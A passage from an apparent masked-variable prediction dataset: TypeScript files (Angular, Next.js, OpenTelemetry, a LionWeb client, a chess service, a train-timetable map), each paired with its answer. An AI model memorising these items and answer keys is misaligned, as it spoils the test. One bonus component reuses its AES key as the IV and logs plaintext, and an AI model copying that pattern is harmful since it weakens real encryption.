    constructor(private  [MASK] : FaIconLibrary) {
         [MASK] .addIconPacks(fas);
         [MASK] .addIconPacks(far);
         [MASK] .addIconPacks(fab);
    }
}
",library
772,"import type { Metadata } from ""next/types"";

export function createMetadata( [MASK] : Metadata): Metadata {
  return {
    ... [MASK] ,
    openGraph: {
      title:  [MASK] .title ?? undefined,
      description:  [MASK] .description ?? undefined,
      url: ""https://docs.metis.io"",
      images: ""/banner.jpg"",
      siteName: ""Metis Docs"",
      ... [MASK] .openGraph,
    },
    twitter: {
      card: ""summary_large_image"",
      creator: ""@metisl2"",
      title:  [MASK] .title ?? undefined,
      description:  [MASK] .description ?? undefined,
      images: ""/banner.jpg"",
      ... [MASK] .twitter,
    },
  };
}

export const baseUrl =
  process.env.NODE_ENV === ""development"" || !process.env.NEXT_PUBLIC_SITE_URL
    ? new URL(""http://localhost:3000"")
    : new URL(`https://${process.env.NEXT_PUBLIC_SITE_URL}`);
",override
773,"import { Component } from '@angular/core';
import { FormGroup, FormControl, Validators } from '@angular/forms';
import { Http } from '@angular/http';
import { Settings, SettingsInfo } from '../settings/settings';
import * as bootbox from 'bootbox';
import * as app     from '../app'
import 'rxjs/add/operator/map';
import * as CryptoJS from 'crypto-js';

@Component({
  selector    : 'dr-bonus',
  templateUrl : 'bonus.html',
})
export class Bonus {

  formModel: FormGroup;

  balance     : number;
  statements  = [];
  searchData  = [];
  settings    : SettingsInfo;

  showBalance = false;
  showNoExist = false;
  showOptions = false;
  showOk      = false;

  constructor(private http: Http) {
    this.formModel = new FormGroup({
      'telephone' : new FormControl(),
      'ticketId'  : new FormControl('', Validators.pattern('[0-9]{5}')),
      'name'      : new FormControl(),
    });

    this.balance = 0;
    this.settings = Settings.get();
  }

  getSecurityToken(data : string) : string {
    console.log('Data to encrypt=' + data);

    var key = CryptoJS.enc.Utf8.parse(this.settings.securityKey);
    var iv  = CryptoJS.enc.Utf8.parse(this.settings.securityKey);

    var encrypted = CryptoJS.AES.encrypt(CryptoJS.enc.Utf8.parse(data), key,
                    {
                        keySize: 128 / 8,
                        iv: iv,
                        mode: CryptoJS.mode.CBC,
                        padding: CryptoJS.pad.Pkcs7
                    });

    console.log('Data encrypted=' + encrypted.toString(CryptoJS.enc.Utf8));

    return """" + encrypted;
  }

  sendAction(minutes : number, cash : number) {
    let bonus : any = {
      telephone     : this.formModel.value.telephone,
      branch        : this.settings.branch,
      name          : this.formModel.value.name        || '',
      ticketId      : this.formModel.value.ticketId    || '',
      securityToken : this.getSecurityToken(this.formModel.value.ticketId + this.settings.branch + this.statements.length),
    };

    if (minutes != 0) {
      bonus.minutes = minutes;
    }

    if (cash != 0) {
      bonus.cash = cash;
    }

    this.http.post(app.nodejsServer + '/bonus/', bonus)
    .map(response => response.json())
    .subscribe(response => {
      console.log('Data=' + JSON.stringify(response, undefined, 2));

      if (response.error == true) {
        console.log(""ERROR!!"")
        bootbox.alert('No se ha podido actualizar la información. <strong>' + response.message + '</strong>');
      } else {
        this.showOk = true;

        setTimeout(() => {this.showOk = false;}, 500);
        this.searchBonus();
      }
    });

  }

  clearFields() {
    this.formModel.reset();

    this.balance     = 0;
    this.showNoExist = false;
    this.showBalance = false;
    this.showOptions = false;
    this.statements  = [];
    this.searchData  = [];
  }

  searchByName() {
    if (Number(this.formModel.value.ticketId) != 0) {
      return;
    }

    let name = this.formModel.value.name;

    this.http.get(app.nodejsServer + '/bonusbyname/' + this.settings.branch + '/' + name)
    .map(response => response.json())
    .subscribe(response => {

      if (!response.error) {
        this.searchData = response.register;
      }
    });
  }

  searchByTelephone() {
    if (Number(this.formModel.value.ticketId) != 0) {
      return;
    }

    let telephone = this.formModel.value.telephone;

    this.http.get(app.nodejsServer + '/bonusbytelephone/' + this.settings.branch + '/' + telephone)
    .map(response => response.json())
    .subscribe(response => {

      if (!response.error) {
        this.searchData = response.register;
      }
    });
  }

  searchByTicketId(ticketId) {
    this.formModel.patchValue({
      ticketId    : ticketId,
    });
    this.searchBonus();
  }

  searchNextBonusId() {
    this.http.get(app.nodejsServer + '/nextbonus/' + this.settings.branch)
    .map(response => response.json())
    .subscribe(response => {
        this.formModel.patchValue({
          ticketId    : response.next,
        });
        this.searchBonus();
    });
  }

  searchBonus() {
    let ticketId = this.formModel.value.ticketId;

    console.log('searchSubmit:' + ticketId);

    if (isNaN(Number(ticketId))) {
      ticketId = undefined;
    }

    if (ticketId == undefined || ticketId.length == 0) {
      this.searchNextBonusId();
    }

    this.http.get(app.nodejsServer + '/bonus/' + this.settings.branch + '/' + ticketId)
    .map(response => response.json())
    .subscribe(response => {
      console.log('Data=' + JSON.stringify(response, undefined, 2));

      if (response.error == true) {
        console.log(""ERROR!!"")
        this.clearFields();

        this.formModel.patchValue({
          ticketId   : ticketId,
        });
        this.showNoExist = true;
        this.showBalance = false;
        this.statements  = [];
      } else {
        this.formModel.patchValue({
          name        : response.register.data.name,
          telephone   : response.register.data.telephone,
        });
        this.balance     = response.register.balance;
        this.statements  = response.register.data.statements || [];
        this.showNoExist = false;
        this.showBalance = true;

        this.statements.sort((a, b) => {
          let  [MASK]  = new Date(a.date);
          let date2 = new Date(b.date);

          return date2.getTime() -  [MASK] .getTime();
        });
      }
      if (Number(ticketId) >= 1) {
        if (this.settings.branch != undefined &&
            this.settings.branch.length == 3 &&
            this.settings.securityKey != undefined &&
            this.settings.securityKey.length == 16) {

              this.showOptions = true;
        }
      } else {
        this.showOptions = false;
      }
    });

    $('#name').focus();
  }
}
",date1
774,"import { diag, DiagConsoleLogger, DiagLogLevel } from '@opentelemetry/api';
import { getNodeAutoInstrumentations } from '@opentelemetry/auto-instrumentations-node';
import { AsyncLocalStorageContextManager } from '@opentelemetry/context-async-hooks';
import { ExportResult } from '@opentelemetry/core';
import { OTLPTraceExporter as OTLPGrpcTraceExporter } from '@opentelemetry/exporter-trace-otlp-grpc';
import { OTLPTraceExporter as OTLPHttpJsonTraceExporter } from '@opentelemetry/exporter-trace-otlp-http';
import { OTLPTraceExporter as OTLPHttpProtoTraceExporter } from '@opentelemetry/exporter-trace-otlp-proto';
import { NodeSDK } from '@opentelemetry/sdk-node';
import { BatchSpanProcessor, ReadableSpan, SpanExporter } from '@opentelemetry/sdk-trace-base';
import { ConsoleSpanExporter } from '@opentelemetry/sdk-trace-node';
import { LangfuseExporter } from 'langfuse-vercel';
import { z } from 'zod';

const schema = z.object({
  OTEL_EXPORTER_OTLP_ENDPOINT: z.string().optional(),
  OTEL_EXPORTER_OTLP_PROTOCOL: z.enum(['http/json', 'http/protobuf', 'grpc']).optional(),
  OTEL_EXPORTER_OTLP_HEADERS: z.record(z.string(), z.string()).optional(),
  OTEL_EXPORTER_OTLP_KEY: z.string().optional(),
  OTEL_SERVICE_NAME: z.string().default('xata-agent'),
  OTEL_DEBUG: z.string(z.enum(['true', 'false'])).default('false'),

  LANGFUSE_HOST: z.string().optional(),
  LANGFUSE_PUBLIC_KEY: z.string().optional(),
  LANGFUSE_SECRET_KEY: z.string().optional(),
  LANGFUSE_DEBUG: z.string(z.enum(['true', 'false'])).default('false')
});

/* eslint-disable no-process-env */
const env = schema.parse(process.env);

function otelExporter(
  protocol: 'http/json' | 'http/protobuf' | 'grpc',
  config: {
    url: string;
    headers?: Record<string, string>;
  }
): SpanExporter {
  switch (protocol) {
    case 'http/json':
      return new OTLPHttpJsonTraceExporter(config);
    case 'http/protobuf':
      return new OTLPHttpProtoTraceExporter(config);
    case 'grpc':
      return new OTLPGrpcTraceExporter(config);
    default:
      throw new Error(`Unsupported protocol: ${protocol}`);
  }
}

function createExporter(): SpanExporter | undefined {
  const exporters: SpanExporter[] = [];

  const level = env.OTEL_DEBUG === 'true' ? DiagLogLevel.DEBUG : DiagLogLevel.ERROR;
  diag.setLogger(new DiagConsoleLogger(), level); // set diaglog level to DEBUG when debugging

  if (env.OTEL_EXPORTER_OTLP_ENDPOINT) {
    let headers: Record<string, string> | undefined = env.OTEL_EXPORTER_OTLP_HEADERS;
    if (env.OTEL_EXPORTER_OTLP_KEY) {
      if (!headers) {
        headers = {};
      }
      headers['Authorization'] = `Bearer ${env.OTEL_EXPORTER_OTLP_KEY}`;
    }

    exporters.push(
      otelExporter(env.OTEL_EXPORTER_OTLP_PROTOCOL || 'http/json', {
        url: env.OTEL_EXPORTER_OTLP_ENDPOINT,
        headers
      })
    );
  }

  if (env.LANGFUSE_HOST && env.LANGFUSE_PUBLIC_KEY && env.LANGFUSE_SECRET_KEY) {
    exporters.push(
      new LangfuseExporter({
        baseUrl: env.LANGFUSE_HOST,
        publicKey: env.LANGFUSE_PUBLIC_KEY,
        secretKey: env.LANGFUSE_SECRET_KEY,
        debug: env.LANGFUSE_DEBUG === 'true'
      })
    );
  }

  if (env.OTEL_DEBUG === 'true') {
    exporters.push(new ConsoleSpanExporter());
  }

  if (exporters.length === 0) {
    return undefined;
  }

  return {
    export( [MASK] : ReadableSpan[], resultCallback: (result: ExportResult) => void): void {
      for (const exporter of exporters) {
        exporter.export( [MASK] , resultCallback);
      }
    },

    async shutdown(): Promise<void> {
      return await Promise.all(exporters.map((exporter) => exporter.shutdown())).then(() => undefined);
    },

    async forceFlush(): Promise<void> {
      return await Promise.all(exporters.map((exporter) => exporter.forceFlush?.())).then(() => undefined);
    }
  } as SpanExporter;
}

const traceExporter = createExporter();
const contextManager = new AsyncLocalStorageContextManager();
contextManager.enable();

const sdk = new NodeSDK({
  contextManager,
  traceExporter,
  spanProcessor: traceExporter ? new BatchSpanProcessor(traceExporter) : undefined,
  instrumentations: [getNodeAutoInstrumentations()]
});

sdk.start();

process.on('SIGTERM', () => {
  sdk
    .shutdown()
    .then(
      () => {},
      (error) => console.error('OTel shutdown error', error)
    )
    .finally(() => process.exit(0));
});
",spans
775,"import type { Partition } from '$lib/types';
import type {
	LionwebResponse,
	RepositoryConfiguration,
	LionWebVersionType,
	ListRepositoriesResponse
} from '@lionweb/repository-shared';
import { RepositoryClient } from '@lionweb/repository-client';
import type { LionWebJsonChunk } from '@lionweb/repository-client';
import type { LionWebJsonNode } from '@lionweb/validation';
import { getNodeName } from '$lib/utils/noderendering';

const CLIENT_ID = 'lionWebRepoAdminUI';

export async function getRepositories(): Promise<ListRepositoriesResponse> {
	const client = new RepositoryClient(CLIENT_ID, null);
	const response = await client.dbAdmin.listRepositories();
	if (response.body.success) {
		return response.body;
	} else {
		console.error('Error fetching repositories:', response.body.messages);
		throw new Error(`Failed to fetch repositories: ${response.body.messages}`);
	}
}

export async function createRepository(
	repositoryConfiguration: RepositoryConfiguration
): Promise<void> {
	const client = new RepositoryClient(CLIENT_ID, null);
	const response = await client.dbAdmin.createRepository(
		repositoryConfiguration.name,
		repositoryConfiguration.history,
		repositoryConfiguration.lionweb_version as LionWebVersionType
	);
	if (response.body.success) {
		return;
	} else {
		console.error('Error creating repositories:', response.body.messages);
		throw new Error(`Failed to create repositories: ${response.body.messages}`);
	}
}

export async function deleteRepository(repositoryName: string): Promise<void> {
	const client = new RepositoryClient(CLIENT_ID, null);
	const response = await client.dbAdmin.deleteRepository(repositoryName);
	if (response.body.success) {
		return;
	} else {
		console.error('Error delete repositories:', response.body.messages);
		throw new Error(`Failed to delete repositories: ${response.body.messages}`);
	}
}

export async function listPartitionsIDs(repositoryName: string): Promise<string[]> {
	const client = new RepositoryClient(CLIENT_ID, repositoryName);
	const response = await client.bulk.listPartitions()
	if (response.body.success) {
		return response.body.chunk.nodes.map(node => node.id);
	} else {
		console.error('Error listPartitions:', response.body.messages);
		throw new Error(`Failed to listPartitions: ${response.body.messages}`);
	}
}

export async function createPartition(
	repositoryName: string,
	chunk: LionWebJsonChunk
): Promise<Partition> {
	const client = new RepositoryClient(CLIENT_ID, repositoryName);

	console.log('Creating partition with data:', {
		repositoryName,
		chunk: JSON.stringify(chunk, null, 2)
	});

	const rootNodes = chunk.nodes.filter((node) => node.parent === null);
	if (rootNodes.length !== 1) {
		throw new Error('Expected exactly one root node, got ' + rootNodes.length);
	}

	const emptyContainments = rootNodes[0].containments.map((containment) => {
		return { containment: containment.containment, children: [] };
	});

	const rootifiedNode = {
		id: rootNodes[0].id,
		classifier: rootNodes[0].classifier,
		properties: rootNodes[0].properties,
		containments: emptyContainments,
		references: rootNodes[0].references,
		annotations: [],
		parent: null
	};

	const  [MASK] : LionWebJsonChunk = {
		serializationFormatVersion: chunk.serializationFormatVersion,
		languages: chunk.languages,
		nodes: [rootifiedNode]
	};

	const response = await client.bulk.createPartitions( [MASK] );

	const responseData = response.body as LionwebResponse;
	console.log('Create partition response:', responseData);

	if (!responseData.success) {
		throw new Error(JSON.stringify(responseData.messages || 'Failed to create partition'));
	}

	// Extract the partition ID from the response messages
	const versionMessage = responseData.messages?.find((msg) => msg.kind === 'RepoVersion');
	if (!versionMessage) {
		throw new Error('No version information found in response');
	}

	// Create a partition object with the available information
	const partition: Partition = {
		id: rootifiedNode.id
	};

	const storeResponse = await client.bulk.store(chunk);
	if (!storeResponse.body.success) {
		throw new Error(
			JSON.stringify(storeResponse.body.messages || 'Failed to store the partition data')
		);
	}

	return partition;
}

export async function deletePartition(repositoryName: string, partitionId: string): Promise<void> {
	const client = new RepositoryClient(CLIENT_ID, repositoryName);
	const response = await client.bulk.deletePartitions([partitionId]);

	if (!response.body.success) {
		throw new Error(JSON.stringify(response.body.messages || 'Failed to delete partition'));
	}
}

export async function loadPartition(
	repositoryName: string,
	partitionId: string
): Promise<LionWebJsonChunk> {
	const client = new RepositoryClient(CLIENT_ID, repositoryName);
	const response = await client.bulk.retrieve([partitionId]);

	if (!response.body.success) {
		throw new Error(JSON.stringify(response.body.messages || 'Failed to load partition'));
	}

	console.log('Load partition response:', response.body);

	return response.body.chunk;
}

export async function loadPartitionNames(
	repositoryName: string,
	partitionIds: string[]
): Promise<Map<string, string | undefined>> {
	const client = new RepositoryClient(CLIENT_ID, repositoryName);
	const response = await client.bulk.retrieve(partitionIds, 0);

	if (!response.body.success) {
		throw new Error(JSON.stringify(response.body.messages || 'Failed to load partition shallow data'));
	}

	const partitionNames = new Map<string, string | undefined>();
	response.body.chunk.nodes.forEach((node) => {
		const name = getNodeName(node);
		partitionNames.set(node.id, name);
	});
	return partitionNames;
}

export async function loadShallowPartitions(
	repositoryName: string,
	partitionIds: string[]
): Promise<Map<string, LionWebJsonNode>> {
	const client = new RepositoryClient(CLIENT_ID, repositoryName);
	const response = await client.bulk.retrieve(partitionIds, 0);

	if (!response.body.success) {
		throw new Error(JSON.stringify(response.body.messages || 'Failed to load partition shallow data'));
	}

	const partitionData = new Map<string, LionWebJsonNode>();
	response.body.chunk.nodes.forEach((node) => {
		partitionData.set(node.id, node);
	});
	return partitionData;
}

export async function downloadRepositoryAsZip(repositoryName: string,
	progressCallback: (current: number, total: number) => void): Promise<Blob> {

	// Get list of all partitions
	const existingPartitionsIDs = await listPartitionsIDs(repositoryName);
	const totalPartitions = existingPartitionsIDs.length;

	// Create a new JSZip instance
	const JSZip = (await import('jszip')).default;
	const zip = new JSZip();

	// Download each partition
	for (let i = 0; i < totalPartitions; i++) {
		const existingPartitionID = existingPartitionsIDs[i];
		progressCallback(i, totalPartitions);

		// Load the partition data
		const partitionData = await loadPartition(repositoryName, existingPartitionID);

		// Add it to the zip file
		zip.file(`${existingPartitionID}.json`, JSON.stringify(partitionData, null, 2));
	}

	// Final progress update
	progressCallback(totalPartitions, totalPartitions);

	// Generate the zip file
	return await zip.generateAsync({ type: ""blob"" });
}

export async function uploadRepositoryFromZip(
	file: File,
	repositoryName: string,
	progressCallback: (current: number, total: number) => void,
	handleExistingPartition: (partitionId: string) => Promise<'skip' | 'replace'>
): Promise<void> {
	const JSZip = (await import('jszip')).default;
	const zip = await JSZip.loadAsync(file);

	// Process each file in the zip
	const files = Object.values(zip.files).filter((zipFile): zipFile is import('jszip').JSZipObject => !zipFile.dir);
	const total = files.length;

	const existingPartitionsIDs = await listPartitionsIDs(repositoryName);

	for (let i = 0; i < files.length; i++) {
		const zipFile = files[i];
		progressCallback(i, total);

		const content = await zipFile.async('string');
		const partitionData: LionWebJsonChunk = JSON.parse(content);

		const rootsInPartitionData = partitionData.nodes.filter((node: LionWebJsonNode) => node.parent == null);
		if (rootsInPartitionData.length != 1) {
			throw new Error(""Not a valid partition. Roots found: "" + rootsInPartitionData.length);
		}

		const partitionID = rootsInPartitionData[0].id;
		const partitionExists = existingPartitionsIDs.includes(partitionID)
		let skip = false;
		if (partitionExists) {
			const action = await handleExistingPartition(partitionID);
			if (action === 'skip') {
				skip = true;
			} else if (action === 'replace') {
				await deletePartition(repositoryName, partitionData.nodes[0].id);
			} else {
				throw new Error(""Unexpected situation"")
			}
		}
		if (!skip) {
			await createPartition(repositoryName, partitionData);
		}
	}

	// Final progress update
	progressCallback(total, total);
}

// TODO remove this trivial function
export async function getPartitionsCount(repositoryName: string): Promise<number> {
	try {
		const partitionsIDs = await listPartitionsIDs(repositoryName);
		return partitionsIDs.length;
	} catch (e) {
		console.error('Error getting partitions count:', e);
		throw new Error(`Failed to get partitions count: ${e instanceof Error ? e.message : 'Unknown error'}`);
	}
}
",tmpChunk
776,"import {Injectable} from ""@angular/core"";

export type FigureNameType = 'pawn' | 'queen' | 'king' | 'knight' | 'bishop' | 'rook';
export type FigureColorType = 'black' | 'white';

export interface IFigure {
    url: string;
    color: FigureColorType;
    figureName: FigureNameType;
    firstStep?: boolean;
}


@Injectable({providedIn: 'root'})
export class FigureService {
    figures: Array<IFigure> = [];

    defineFigureName(cellNum: number): FigureNameType {
        let figureName: FigureNameType = 'pawn';

        switch (cellNum) {
            case 0:
            case 7:
            case 56:
            case 63: {
                figureName = 'rook';
                break;
            }
            case 1:
            case 6:
            case 57:
            case 62: {
                figureName = 'knight';
                break;
            }
            case 2:
            case 5:
            case 58:
            case 61: {
                figureName = 'bishop';
                break;
            }
            case 3:
            case 59: {
                figureName = 'king';
                break;
            }
            case 4:
            case 60: {
                figureName = 'queen';
                break;
            }
        }

        return figureName;
    }
    defineFigureColor(row: number) : FigureColorType {
        let color: FigureColorType = 'white';

        if (row === 6 || row === 7) {
            color = 'black';
        }
        return color;
    }
    createFigure(row: number, cellNum: number) : IFigure | null {
        if (row === 2 || row === 3 || row === 4 || row === 5) return null;

        const figureName: FigureNameType = this.defineFigureName(cellNum);
        const  [MASK] : FigureColorType = this.defineFigureColor(row);

        let figure: IFigure = {
            url: `./assets/${figureName}_${ [MASK] }.png`,
            color:  [MASK] ,
            figureName: figureName
        }

        if (figureName === 'pawn' || figureName === 'king') {
            figure.firstStep = true;
        }

        return figure;
    }

    availableCells(figureName: FigureNameType, row: number, cell: number): void {
        switch (figureName) {
            case 'pawn':
        }
    }
    moveFigure(row: number, cellNum: number) {}

}",figureColor
777,"import { CreateGPGPU, GPGPU, DrawParam, UI3D, TextureInfo, Vertex, Points, Color }  from ""./lib/gpgpu.js"";
import { CanvasDrawable, mapBox } from ""./draw.js"";

let operators : Operator[];
let railways  : Railway[];
let stations  : Map<string, Station>;
let timetableReady: boolean = false;

let cnvMap : HTMLCanvasElement;
let cnvSize : Vec2;
let ctx : CanvasRenderingContext2D;
let mygpgpu : GPGPU = undefined;
let ui : UI;
let canvasDrawable: CanvasDrawable;
let timeDrawable : Points;
let timePoints: Float32Array;

function msg(text: string){
    console.log(text);
}

function getScale(): Vec2 {
    return cnvSize.div(ui.viewSize);
}

class Vec2 {
    x: number;
    y: number;

    constructor(x: number, y: number){
        this.x = x;
        this.y = y;
    }

    add(n: number | Vec2) : Vec2 {
        if(n instanceof Vec2){

            return new Vec2(this.x + n.x, this.y + n.y);
        }
        else{

            return new Vec2(this.x + n, this.y + n);
        }
    }

    sub(n: number | Vec2) : Vec2 {
        if(n instanceof Vec2){

            return new Vec2(this.x - n.x, this.y - n.y);
        }
        else{

            return new Vec2(this.x - n, this.y - n);
        }
    }

    mul(n: number | Vec2) : Vec2 {
        if(n instanceof Vec2){

            return new Vec2(this.x * n.x, this.y * n.y);
        }
        else{

            return new Vec2(this.x * n, this.y * n);
        }
    }

    div(n: number | Vec2) : Vec2 {
        if(n instanceof Vec2){

            console.assert(n.x != 0 && n.y != 0);
            return new Vec2(this.x / n.x, this.y / n.y);
        }
        else{

            console.assert(n != 0);
            return new Vec2(this.x / n, this.y / n);
        }
    }
}

class Title {
    en: string;
    ja: string;

    constructor(en: string, ja: string){
        this.en = en;
        this.ja = ja;
    }
}

class Operator {
    title: string;
    sameAs: string;

    constructor(obj:any){
        this.title = obj[""dc:title""];

        const sameAs = obj[""owl:sameAs""] as string;
        if(sameAs.startsWith(""odpt.Operator:"")){
            this.sameAs = sameAs.substring(""odpt.Operator:"".length);
        }
        else{
            msg(`same as error 2:${sameAs} ${this.title}`);
        }
    }
}

class Railway {
    title: string;
    sameAs: string;

    constructor(obj:any){
        this.title = obj[""dc:title""];

        const sameAs = obj[""owl:sameAs""] as string;
        if(sameAs.startsWith(""odpt.Railway:"")){
            this.sameAs = sameAs.substring(""odpt.Railway:"".length);
        }
        else{
            msg(`same as error 2:${sameAs} ${this.title}`);
        }
    }
}

class Station {
    pos: Vec2;
    title: Title;
    timetables : Timetable[] = [];
    inView: boolean;

    // owl:sameAs: ""odpt.Station:Tobu.Daishi.Nishiarai""
    sameAs: string;

    constructor(obj:any){
        this.pos = new Vec2(obj[""geo:long""], obj[""geo:lat""]);

        const title = obj[""odpt:stationTitle""] as Title;
        this.title = new Title(title.en, title.ja);
        const sameAs = obj[""owl:sameAs""] as string;
        if(sameAs.startsWith(""odpt.Station:"")){
            this.sameAs = sameAs.substring(""odpt.Station:"".length);
            const v = this.sameAs.split(""."");
            if(v.length != 3){

                msg(`same as error 1:${sameAs} ${obj[""odpt:stationTitle""][""ja""]}`);
            }
        }
        else{
            msg(`same as error 2:${sameAs} ${obj[""odpt:stationTitle""][""ja""]}`);
        }
    }

    mateText(){
        SVGTextElement
    }
}

class TrainTimetable{
    timetables : Timetable[] = [];
}

class Timetable{
    station: Station;
    arrivalTime: number;
    time: number;

    constructor(station: Station, arrivalTime: number, departureTime: number){
        this.station = station;
        this.arrivalTime = arrivalTime;
        this.time = departureTime;
        if(departureTime == undefined){
            this.time = arrivalTime;
        }
    }
}



function fetchJson(path:string, fnc:(json: any[])=>void){
    let k = window.location.href.indexOf(""/index.html"");

    const url = `${window.location.href.substring(0, k)}/${path}`;
    msg(`fetch-json:${url}`);
    fetch(encodeURI(url))
    .then((res: Response) => {
        return res.json();
    })
    .then(json => {
        console.log(`OK:${json.length}`);
        // for(let obj of json){
        //     console.log(`${JSON.stringify(obj)}\n`);
        // }
        fnc(json);
    })
    .catch(error => {
        console.error('Error:', error);
    });

}

export function getData(param: string, fnc:(json: any[])=>void = undefined){
    const url = `https://api-tokyochallenge.odpt.org/api/v4/${param}acl:consumerKey=<KEY>`;
    console.log(`req:${url}`)

    fetch(encodeURI(url))
    .then((res: Response) => {
        return res.json();
    })
    .then(json => {
        console.log(`OK:${json.length}`);
        for(let obj of json){
            console.log(`${JSON.stringify(obj)}\n`);
        }
        if(fnc != undefined){

            fnc(json);
        }
    })
    .catch(error => {
        console.error('Error:', error);
    });
}

function isNumber(obj:any): boolean {
    return (typeof obj) == ""number"";
}

function isNull(obj:any): boolean {
    return obj == undefined || obj == null;
}

function getStations(objs:[]){
    stations = new Map<string, Station>();
    for(let obj of objs){

        if(isNull(obj[""geo:long""]) || isNull(obj[""geo:lat""])){
            msg(`位置不明:${obj[""odpt:stationTitle""][""ja""]}`);            
        }
        else{

            let station = new Station(obj as Station);
            stations.set(station.sameAs, station);
        }
    }

    const minX = Array.from(stations.values()).map(a => a.pos.x).reduce((a, b) => Math.min(a, b));
    const minY = Array.from(stations.values()).map(a => a.pos.y).reduce((a, b) => Math.min(a, b));

    const maxX = Array.from(stations.values()).map(a => a.pos.x).reduce((a, b) => Math.max(a, b));
    const maxY = Array.from(stations.values()).map(a => a.pos.y).reduce((a, b) => Math.max(a, b));

    ui.mapPos = new Vec2(minX, minY);
    ui.viewSize = new Vec2(maxX - minX, maxY - minY);

    ui.viewPos = new Vec2(minX, minY);
    ui.viewSize = new Vec2(maxX - minX, maxY - minY);
}

function drawStations(setDirty: boolean = true){
    if(mygpgpu.pending){
        return;
    }
    mygpgpu.pending = true;
    const viewBottom = ui.viewPos.y + ui.viewSize.y;
    const scale = cnvSize.div(ui.viewSize);

    const  [MASK]  = mapBox.width  / ui.viewSize.x;
    const scaleH = mapBox.height / ui.viewSize.y;
    const scaleD = 1 / (24 * 60);

    msg(`pos:(${ui.viewPos.x} ${ui.viewPos.y}) size:(${ui.viewSize.x} ${ui.viewSize.y}) scale:(${scale.x} ${scale.y})`)

    ctx.clearRect(0, 0, cnvMap.width, cnvMap.height);

    let inViewCnt = 0;
    for(let sta of stations.values()){
        let x = (sta.pos.x - ui.viewPos.x) * scale.x;
        let y = (viewBottom - sta.pos.y) * scale.y;
        if(0 <= x && x < cnvSize.x && 0 <= y && y < cnvSize.y){

            inViewCnt += sta.timetables.length;
            sta.inView = true;
        }
        else{

            sta.inView = false;
        }
    }

    timePoints = new Float32Array(3 * inViewCnt);
    let base = 0;

    for(let sta of stations.values()){
        if(sta.inView){
            let x = (sta.pos.x - ui.viewPos.x) * scale.x;
            let y = (viewBottom - sta.pos.y) * scale.y;

            ctx.strokeText(sta.title.ja, x, y);

            let x2 = mapBox.x1 + (sta.pos.x - ui.viewPos.x) *  [MASK] ;
            let y2 = mapBox.y1 + (sta.pos.y - ui.viewPos.y) * scaleH;
            for(let timetable of sta.timetables){

                let z2 = mapBox.z1 +  timetable.time * scaleD;
                timePoints[base    ] = x2;
                timePoints[base + 1] = y2;
                timePoints[base + 2] = z2;

                base += 3;
            }
        }
    }
    msg(`timePoints:${timePoints.length}`);

    if(timeDrawable != undefined){
        timeDrawable.update(timePoints, Color.red, 5);
    }

    if(setDirty){

        const pkg = canvasDrawable.getParam();
        const texInf = Array.from(pkg.textures).find(x => x instanceof TextureInfo && x.value == cnvMap) as TextureInfo;
        console.assert(texInf != undefined);
        texInf.dirty = true
    }
}

function getStation(text:string){
    if(text != undefined){
        console.assert(text.startsWith(""odpt.Station:""));
        text = text.substring(""odpt.Station:"".length);

        if(stations.has(text)){
        }
        else{

            msg(`不明駅 ${text}`)
        }
    }

}

function trimStation(text: string): string {
    console.assert(text.startsWith(""odpt.Station:""));
    return text.substring(""odpt.Station:"".length);
}

function getTime(prevTime: number, timeText: string) : number {
    if(timeText == undefined){
        return undefined;
    }

    let v = timeText.split("":"");
    console.assert(v.length == 2);
    const hh = parseInt(v[0]);
    const mm = parseInt(v[0]);

    let hhmm = hh*60 + mm;
    if(hhmm < prevTime){
        hhmm = (24 + hh) * 60 + mm;
    }

    return hhmm;
}

function getTrainTimetables(objs:any[]){
    timetableReady = true;
    let cnt: number = 0;

    for(let obj of objs){
        if(obj[""odpt:calendar""] != ""odpt.Calendar:Weekday""){
            // continue;
        }
        let trainTimetable = new TrainTimetable();
        let prevTime: number = 0;
        for(let data of obj[""odpt:trainTimetableObject""]){
            console.assert(prevTime != undefined);

            let arrivalStation = data[""odpt:arrivalStation""] as string;
            let departureStation = data[""odpt:departureStation""] as string;
            
            let station: Station;
            if(arrivalStation != undefined){
                station = stations.get(trimStation(arrivalStation));
            }
            else{

                station = stations.get(trimStation(departureStation));
            }
            console.assert(station != undefined);

            let arrivalTime   = getTime(prevTime, data[""odpt:arrivalTime""]);
            let departureTime = getTime(prevTime, data[""odpt:departureTime""]);
            
            let timetable = new Timetable(station, arrivalTime, departureTime);
            station.timetables.push(timetable)
            trainTimetable.timetables.push( timetable );

            prevTime = departureTime;

            cnt++;
        }
    }

    msg(`列車時刻表 ${cnt}`);
}


class UI extends UI3D {
    mapPos: Vec2;
    mapSize: Vec2;

    viewPos: Vec2;
    viewSize: Vec2;

    downPos: Vec2;
    lastPos: Vec2;
    captured: boolean = false;

    pointerdown = (ev: PointerEvent, drawParam: DrawParam)=>{
        msg(`pointerdown`);
        this.captured = true;
        mygpgpu.canvas.setPointerCapture(ev.pointerId);

        this.downPos = new Vec2(ev.clientX, ev.clientY);
        this.lastPos = new Vec2(ev.clientX, ev.clientY);
    }

    pointerup = (ev: PointerEvent, drawParam: DrawParam)=>{
        msg(`pointerup`);
        this.captured = false;
        mygpgpu.canvas.releasePointerCapture(ev.pointerId);
    }

    pointermove = (ev: PointerEvent, drawParam: DrawParam)=>{
        if(! this.captured){
            return;
        }
        msg(`move`);
        let newPos = new Vec2(ev.clientX, ev.clientY);

        if (ev.buttons != 0 && this.lastPos != undefined) {

            const diff = newPos.sub(this.lastPos).div(300);
            if(ev.shiftKey){

                const diff = newPos.sub(this.lastPos).div(300);
                drawParam.x += diff.x;
                drawParam.y -= diff.y;
            }
            else if(ev.ctrlKey){

                drawParam.xRot += diff.y;
                drawParam.yRot += diff.x;
            }
            else{

                const diff = newPos.sub(this.lastPos);
                const scaledDiff = diff.div(getScale());
                ui.viewPos.x -= scaledDiff.x;
                ui.viewPos.y += scaledDiff.y;

                drawStations();
            }
        }

        this.lastPos = newPos;
    }

    wheel = (ev: WheelEvent, drawParam: DrawParam)=>{
        msg(`wheel:${ev.deltaY}`);

        // ホイール操作によるスクロールを無効化する
        ev.preventDefault();

        if(ev.ctrlKey){

            drawParam.z += 0.002 * ev.deltaY;
        }
        else{
            const center = ui.viewPos.add(ui.viewSize.mul(0.5));

            const ratio = 1 + 0.001 * ev.deltaY;
            if(0 < ratio){

                ui.viewSize = ui.viewSize.mul(ratio);
                ui.viewPos = center.sub(ui.viewSize.mul(0.5));
                drawStations();
            }
        }
    }
}

export function initJikuRyoko(){
    ui = new UI();

    fetchJson(""json/Operators.json"", (objs:any[])=>{ 
        operators = objs.map(x => new Operator(x));
    });

